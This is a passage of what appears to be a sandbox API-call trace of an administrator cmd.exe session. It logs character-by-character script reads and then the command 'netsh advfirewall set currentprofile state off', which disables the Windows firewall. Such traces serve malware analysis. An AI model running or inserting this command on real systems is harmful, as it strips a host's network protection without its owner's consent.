dwFlags=0x1, lpMultiByteStr=0x4a59c320, cbMultiByte=1, lpWideCharStr=0x4a59e344, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0080.222] _get_osfhandle (_FileHandle=0) returned 0x108 [0080.222] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0080.222] ReadFile (in: hFile=0x108, lpBuffer=0x4a59c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x30f738, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesRead=0x30f738*=0x1, lpOverlapped=0x0) returned 1 [0080.222] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a59c320, cbMultiByte=1, lpWideCharStr=0x4a59e346, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0080.222] _get_osfhandle (_FileHandle=0) returned 0x108 [0080.222] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0080.222] ReadFile (in: hFile=0x108, lpBuffer=0x4a59c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x30f738, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesRead=0x30f738*=0x1, lpOverlapped=0x0) returned 1 [0080.222] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a59c320, cbMultiByte=1, lpWideCharStr=0x4a59e348, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0080.222] _get_osfhandle (_FileHandle=0) returned 0x108 [0080.222] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0080.222] ReadFile (in: hFile=0x108, lpBuffer=0x4a59c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x30f738, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesRead=0x30f738*=0x1, lpOverlapped=0x0) returned 1 [0080.223] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a59c320, cbMultiByte=1, lpWideCharStr=0x4a59e34a, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0080.223] _get_osfhandle (_FileHandle=0) returned 0x108 [0080.223] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0080.223] ReadFile (in: hFile=0x108, lpBuffer=0x4a59c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x30f738, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesRead=0x30f738*=0x1, lpOverlapped=0x0) returned 1 [0080.223] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a59c320, cbMultiByte=1, lpWideCharStr=0x4a59e34c, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0080.223] _get_osfhandle (_FileHandle=0) returned 0x108 [0080.223] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0080.223] ReadFile (in: hFile=0x108, lpBuffer=0x4a59c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x30f738, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesRead=0x30f738*=0x1, lpOverlapped=0x0) returned 1 [0080.223] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a59c320, cbMultiByte=1, lpWideCharStr=0x4a59e34e, cchWideChar=1 | out: lpWideCharStr="u") returned 1 [0080.223] _get_osfhandle (_FileHandle=0) returned 0x108 [0080.223] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0080.223] ReadFile (in: hFile=0x108, lpBuffer=0x4a59c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x30f738, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesRead=0x30f738*=0x1, lpOverlapped=0x0) returned 1 [0080.223] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a59c320, cbMultiByte=1, lpWideCharStr=0x4a59e350, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0080.223] _get_osfhandle (_FileHandle=0) returned 0x108 [0080.223] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0080.223] ReadFile (in: hFile=0x108, lpBuffer=0x4a59c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x30f738, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesRead=0x30f738*=0x1, lpOverlapped=0x0) returned 1 [0080.223] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a59c320, cbMultiByte=1, lpWideCharStr=0x4a59e352, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0080.223] _get_osfhandle (_FileHandle=0) returned 0x108 [0080.223] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0080.223] ReadFile (in: hFile=0x108, lpBuffer=0x4a59c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x30f738, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesRead=0x30f738*=0x1, lpOverlapped=0x0) returned 1 [0080.224] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a59c320, cbMultiByte=1, lpWideCharStr=0x4a59e354, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0080.224] _get_osfhandle (_FileHandle=0) returned 0x108 [0080.224] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0080.224] ReadFile (in: hFile=0x108, lpBuffer=0x4a59c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x30f738, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesRead=0x30f738*=0x1, lpOverlapped=0x0) returned 1 [0080.224] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a59c320, cbMultiByte=1, lpWideCharStr=0x4a59e356, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0080.224] _get_osfhandle (_FileHandle=0) returned 0x108 [0080.224] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0080.224] ReadFile (in: hFile=0x108, lpBuffer=0x4a59c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x30f738, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesRead=0x30f738*=0x1, lpOverlapped=0x0) returned 1 [0080.224] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a59c320, cbMultiByte=1, lpWideCharStr=0x4a59e358, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0080.224] _get_osfhandle (_FileHandle=0) returned 0x108 [0080.224] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0080.224] ReadFile (in: hFile=0x108, lpBuffer=0x4a59c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x30f738, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesRead=0x30f738*=0x1, lpOverlapped=0x0) returned 1 [0080.224] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a59c320, cbMultiByte=1, lpWideCharStr=0x4a59e35a, cchWideChar=1 | out: lpWideCharStr="p") returned 1 [0080.224] _get_osfhandle (_FileHandle=0) returned 0x108 [0080.224] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0080.224] ReadFile (in: hFile=0x108, lpBuffer=0x4a59c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x30f738, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesRead=0x30f738*=0x1, lpOverlapped=0x0) returned 1 [0080.224] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a59c320, cbMultiByte=1, lpWideCharStr=0x4a59e35c, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0080.224] _get_osfhandle (_FileHandle=0) returned 0x108 [0080.224] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0080.224] ReadFile (in: hFile=0x108, lpBuffer=0x4a59c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x30f738, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesRead=0x30f738*=0x1, lpOverlapped=0x0) returned 1 [0080.225] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a59c320, cbMultiByte=1, lpWideCharStr=0x4a59e35e, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0080.225] _get_osfhandle (_FileHandle=0) returned 0x108 [0080.225] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0080.225] ReadFile (in: hFile=0x108, lpBuffer=0x4a59c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x30f738, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesRead=0x30f738*=0x1, lpOverlapped=0x0) returned 1 [0080.225] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a59c320, cbMultiByte=1, lpWideCharStr=0x4a59e360, cchWideChar=1 | out: lpWideCharStr="f") returned 1 [0080.225] _get_osfhandle (_FileHandle=0) returned 0x108 [0080.225] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0080.225] ReadFile (in: hFile=0x108, lpBuffer=0x4a59c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x30f738, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesRead=0x30f738*=0x1, lpOverlapped=0x0) returned 1 [0080.225] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a59c320, cbMultiByte=1, lpWideCharStr=0x4a59e362, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0080.225] _get_osfhandle (_FileHandle=0) returned 0x108 [0080.225] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0080.225] ReadFile (in: hFile=0x108, lpBuffer=0x4a59c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x30f738, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesRead=0x30f738*=0x1, lpOverlapped=0x0) returned 1 [0080.225] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a59c320, cbMultiByte=1, lpWideCharStr=0x4a59e364, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0080.225] _get_osfhandle (_FileHandle=0) returned 0x108 [0080.225] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0080.225] ReadFile (in: hFile=0x108, lpBuffer=0x4a59c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x30f738, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesRead=0x30f738*=0x1, lpOverlapped=0x0) returned 1 [0080.225] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a59c320, cbMultiByte=1, lpWideCharStr=0x4a59e366, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0080.225] _get_osfhandle (_FileHandle=0) returned 0x108 [0080.225] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0080.225] ReadFile (in: hFile=0x108, lpBuffer=0x4a59c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x30f738, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesRead=0x30f738*=0x1, lpOverlapped=0x0) returned 1 [0080.226] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a59c320, cbMultiByte=1, lpWideCharStr=0x4a59e368, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0080.226] _get_osfhandle (_FileHandle=0) returned 0x108 [0080.226] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0080.226] ReadFile (in: hFile=0x108, lpBuffer=0x4a59c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x30f738, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesRead=0x30f738*=0x1, lpOverlapped=0x0) returned 1 [0080.226] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a59c320, cbMultiByte=1, lpWideCharStr=0x4a59e36a, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0080.226] _get_osfhandle (_FileHandle=0) returned 0x108 [0080.226] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0080.226] ReadFile (in: hFile=0x108, lpBuffer=0x4a59c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x30f738, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesRead=0x30f738*=0x1, lpOverlapped=0x0) returned 1 [0080.226] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a59c320, cbMultiByte=1, lpWideCharStr=0x4a59e36c, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0080.226] _get_osfhandle (_FileHandle=0) returned 0x108 [0080.226] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0080.226] ReadFile (in: hFile=0x108, lpBuffer=0x4a59c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x30f738, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesRead=0x30f738*=0x1, lpOverlapped=0x0) returned 1 [0080.226] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a59c320, cbMultiByte=1, lpWideCharStr=0x4a59e36e, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0080.226] _get_osfhandle (_FileHandle=0) returned 0x108 [0080.226] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0080.226] ReadFile (in: hFile=0x108, lpBuffer=0x4a59c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x30f738, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesRead=0x30f738*=0x1, lpOverlapped=0x0) returned 1 [0080.226] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a59c320, cbMultiByte=1, lpWideCharStr=0x4a59e370, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0080.226] _get_osfhandle (_FileHandle=0) returned 0x108 [0080.226] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0080.226] ReadFile (in: hFile=0x108, lpBuffer=0x4a59c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x30f738, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesRead=0x30f738*=0x1, lpOverlapped=0x0) returned 1 [0080.227] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a59c320, cbMultiByte=1, lpWideCharStr=0x4a59e372, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0080.227] _get_osfhandle (_FileHandle=0) returned 0x108 [0080.227] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0080.227] ReadFile (in: hFile=0x108, lpBuffer=0x4a59c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x30f738, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesRead=0x30f738*=0x1, lpOverlapped=0x0) returned 1 [0080.227] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a59c320, cbMultiByte=1, lpWideCharStr=0x4a59e374, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0080.227] _get_osfhandle (_FileHandle=0) returned 0x108 [0080.227] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0080.227] ReadFile (in: hFile=0x108, lpBuffer=0x4a59c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x30f738, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesRead=0x30f738*=0x1, lpOverlapped=0x0) returned 1 [0080.227] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a59c320, cbMultiByte=1, lpWideCharStr=0x4a59e376, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0080.227] _get_osfhandle (_FileHandle=0) returned 0x108 [0080.227] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0080.227] ReadFile (in: hFile=0x108, lpBuffer=0x4a59c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x30f738, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesRead=0x30f738*=0x1, lpOverlapped=0x0) returned 1 [0080.227] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a59c320, cbMultiByte=1, lpWideCharStr=0x4a59e378, cchWideChar=1 | out: lpWideCharStr="f") returned 1 [0080.227] _get_osfhandle (_FileHandle=0) returned 0x108 [0080.227] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0080.227] ReadFile (in: hFile=0x108, lpBuffer=0x4a59c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x30f738, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesRead=0x30f738*=0x1, lpOverlapped=0x0) returned 1 [0080.227] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a59c320, cbMultiByte=1, lpWideCharStr=0x4a59e37a, cchWideChar=1 | out: lpWideCharStr="f") returned 1 [0080.227] _get_osfhandle (_FileHandle=0) returned 0x108 [0080.227] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0080.227] ReadFile (in: hFile=0x108, lpBuffer=0x4a59c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x30f738, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesRead=0x30f738*=0x1, lpOverlapped=0x0) returned 1 [0080.228] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a59c320, cbMultiByte=1, lpWideCharStr=0x4a59e37c, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0080.229] _get_osfhandle (_FileHandle=0) returned 0x108 [0080.229] GetFileType (hFile=0x108) returned 0x3 [0080.229] _get_osfhandle (_FileHandle=0) returned 0x108 [0080.229] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0080.229] _get_osfhandle (_FileHandle=1) returned 0x114 [0080.229] GetFileType (hFile=0x114) returned 0x3 [0080.229] _get_osfhandle (_FileHandle=1) returned 0x114 [0080.229] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="netsh advfirewall set currentprofile state off\n", cchWideChar=-1, lpMultiByteStr=0x4a59c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netsh advfirewall set currentprofile state off\n", lpUsedDefaultChar=0x0) returned 48 [0080.229] WriteFile (in: hFile=0x114, lpBuffer=0x4a59c320*, nNumberOfBytesToWrite=0x2f, lpNumberOfBytesWritten=0x30f718, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesWritten=0x30f718*=0x2f, lpOverlapped=0x0) returned 1 [0080.229] GetProcessHeap () returned 0x480000 [0080.229] RtlAllocateHeap (HeapHandle=0x480000, Flags=0x8, Size=0x4012) returned 0x49cd20 [0080.230] GetProcessHeap () returned 0x480000 [0080.230] HeapFree (in: hHeap=0x480000, dwFlags=0x0, lpMem=0x49cd20 | out: hHeap=0x480000) returned 1 [0080.230] _wcsicmp (_String1="netsh", _String2=")") returned 69 [0080.230] _wcsicmp (_String1="FOR", _String2="netsh") returned -8 [0080.230] _wcsicmp (_String1="FOR/?", _String2="netsh") returned -8 [0080.230] _wcsicmp (_String1="IF", _String2="netsh") returned -5 [0080.230] _wcsicmp (_String1="IF/?", _String2="netsh") returned -5 [0080.230] _wcsicmp (_String1="REM", _String2="netsh") returned 4 [0080.230] _wcsicmp (_String1="REM/?", _String2="netsh") returned 4 [0080.230] GetProcessHeap () returned 0x480000 [0080.230] RtlAllocateHeap (HeapHandle=0x480000, Flags=0x8, Size=0xb0) returned 0x4997e0 [0080.230] GetProcessHeap () returned 0x480000 [0080.230] RtlAllocateHeap (HeapHandle=0x480000, Flags=0x8, Size=0x1c) returned 0x494610 [0080.231] GetProcessHeap () returned 0x480000 [0080.232] RtlAllocateHeap (HeapHandle=0x480000, Flags=0x8, Size=0x64) returned 0x4998a0 [0080.232] GetConsoleOutputCP () returned 0x1b5 [0080.233] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a59bfe0 | out: lpCPInfo=0x4a59bfe0) returned 1 [0080.233] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0080.234] GetConsoleTitleW (in: lpConsoleTitle=0x30f6d0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0080.234] _wcsicmp (_String1="netsh", _String2="DIR") returned 10 [0080.234] _wcsicmp (_String1="netsh", _String2="ERASE") returned 9 [0080.234] _wcsicmp (_String1="netsh", _String2="DEL") returned 10 [0080.234] _wcsicmp (_String1="netsh", _String2="TYPE") returned -6 [0080.234] _wcsicmp (_String1="netsh", _String2="COPY") returned 11 [0080.234] _wcsicmp (_String1="netsh", _String2="CD") returned 11 [0080.234] _wcsicmp (_String1="netsh", _String2="CHDIR") returned 11 [0080.234] _wcsicmp (_String1="netsh", _String2="RENAME") returned -4 [0080.234] _wcsicmp (_String1="netsh", _String2="REN") returned -4 [0080.234] _wcsicmp (_String1="netsh", _String2="ECHO") returned 9 [0080.234] _wcsicmp (_String1="netsh", _String2="SET") returned -5 [0080.234] _wcsicmp (_String1="netsh", _String2="PAUSE") returned -2 [0080.234] _wcsicmp (_String1="netsh", _String2="DATE") returned 10 [0080.235] _wcsicmp (_String1="netsh", _String2="TIME") returned -6 [0080.235] _wcsicmp (_String1="netsh", _String2="PROMPT") returned -2 [0080.235] _wcsicmp (_String1="netsh", _String2="MD") returned 1 [0080.235] _wcsicmp (_String1="netsh", _String2="MKDIR") returned 1 [0080.235] _wcsicmp (_String1="netsh", _String2="RD") returned -4 [0080.235] _wcsicmp (_String1="netsh", _String2="RMDIR") returned -4 [0080.235] _wcsicmp (_String1="netsh", _String2="PATH") returned -2 [0080.235] _wcsicmp (_String1="netsh", _String2="GOTO") returned 7 [0080.235] _wcsicmp (_String1="netsh", _String2="SHIFT") returned -5 [0080.235] _wcsicmp (_String1="netsh", _String2="CLS") returned 11 [0080.235] _wcsicmp (_String1="netsh", _String2="CALL") returned 11 [0080.235] _wcsicmp (_String1="netsh", _String2="VERIFY") returned -8 [0080.235] _wcsicmp (_String1="netsh", _String2="VER") returned -8 [0080.235] _wcsicmp (_String1="netsh", _String2="VOL") returned -8 [0080.235] _wcsicmp (_String1="netsh", _String2="EXIT") returned 9 [0080.235] _wcsicmp (_String1="netsh", _String2="SETLOCAL") returned -5 [0080.235] _wcsicmp (_String1="netsh", _String2="ENDLOCAL") returned 9 [0080.235] _wcsicmp (_String1="netsh", _String2="TITLE") returned -6 [0080.235] _wcsicmp (_String1="netsh", _String2="START") returned -5 [0080.235] _wcsicmp (_String1="netsh", _String2="DPATH") returned 10 [0080.235] _wcsicmp (_String1="netsh", _String2="KEYS") returned 3 [0080.235] _wcsicmp (_String1="netsh", _String2="MOVE") returned 1 [0080.235] _wcsicmp (_String1="netsh", _String2="PUSHD") returned -2 [0080.235] _wcsicmp (_String1="netsh", _String2="POPD") returned -2 [0080.235] _wcsicmp (_String1="netsh", _String2="ASSOC") returned 13 [0080.235] _wcsicmp (_String1="netsh", _String2="FTYPE") returned 8 [0080.236] _wcsicmp (_String1="netsh", _String2="BREAK") returned 12 [0080.236] _wcsicmp (_String1="netsh", _String2="COLOR") returned 11 [0080.236] _wcsicmp (_String1="netsh", _String2="MKLINK") returned 1 [0080.236] _wcsicmp (_String1="netsh", _String2="DIR") returned 10 [0080.236] _wcsicmp (_String1="netsh", _String2="ERASE") returned 9 [0080.236] _wcsicmp (_String1="netsh", _String2="DEL") returned 10 [0080.236] _wcsicmp (_String1="netsh", _String2="TYPE") returned -6 [0080.236] _wcsicmp (_String1="netsh", _String2="COPY") returned 11 [0080.236] _wcsicmp (_String1="netsh", _String2="CD") returned 11 [0080.236] _wcsicmp (_String1="netsh", _String2="CHDIR") returned 11 [0080.236] _wcsicmp (_String1="netsh", _String2="RENAME") returned -4 [0080.236] _wcsicmp (_String1="netsh", _String2="REN") returned -4 [0080.236] _wcsicmp (_String1="netsh", _String2="ECHO") returned 9 [0080.236] _wcsicmp (_String1="netsh", _String2="SET") returned -5 [0080.236] _wcsicmp (_String1="netsh", _String2="PAUSE") returned -2 [0080.236] _wcsicmp (_String1="netsh", _String2="DATE") returned 10 [0080.236] _wcsicmp (_String1="netsh", _String2="TIME") returned -6 [0080.236] _wcsicmp (_String1="netsh", _String2="PROMPT") returned -2 [0080.236] _wcsicmp (_String1="netsh", _String2="MD") returned 1 [0080.236] _wcsicmp (_String1="netsh", _String2="MKDIR") returned 1 [0080.236] _wcsicmp (_String1="netsh", _String2="RD") returned -4 [0080.236] _wcsicmp (_String1="netsh", _String2="RMDIR") returned -4 [0080.236] _wcsicmp (_String1="netsh", _String2="PATH") returned -2 [0080.236] _wcsicmp (_String1="netsh", _String2="GOTO") returned 7 [0080.236] _wcsicmp (_String1="netsh", _String2="SHIFT") returned -5 [0080.236] _wcsicmp (_String1="netsh", _String2="CLS") returned 11 [0080.236] _wcsicmp (_String1="netsh", _String2="CALL") returned 11 [0080.237] _wcsicmp (_String1="netsh", _String2="VERIFY") returned -8 [0080.237] _wcsicmp (_String1="netsh", _String2="VER") returned -8 [0080.237] _wcsicmp (_String1="netsh", _String2="VOL") returned -8 [0080.237] _wcsicmp (_String1="netsh", _String2="EXIT") returned 9 [0080.237] _wcsicmp (_String1="netsh", _String2="SETLOCAL") returned -5 [0080.237] _wcsicmp (_String1="netsh", _String2="ENDLOCAL") returned 9 [0080.237] _wcsicmp (_String1="netsh", _String2="TITLE") returned -6 [0080.237] _wcsicmp (_String1="netsh", _String2="START") returned -5 [0080.237] _wcsicmp (_String1="netsh", _String2="DPATH") returned 10 [0080.237] _wcsicmp 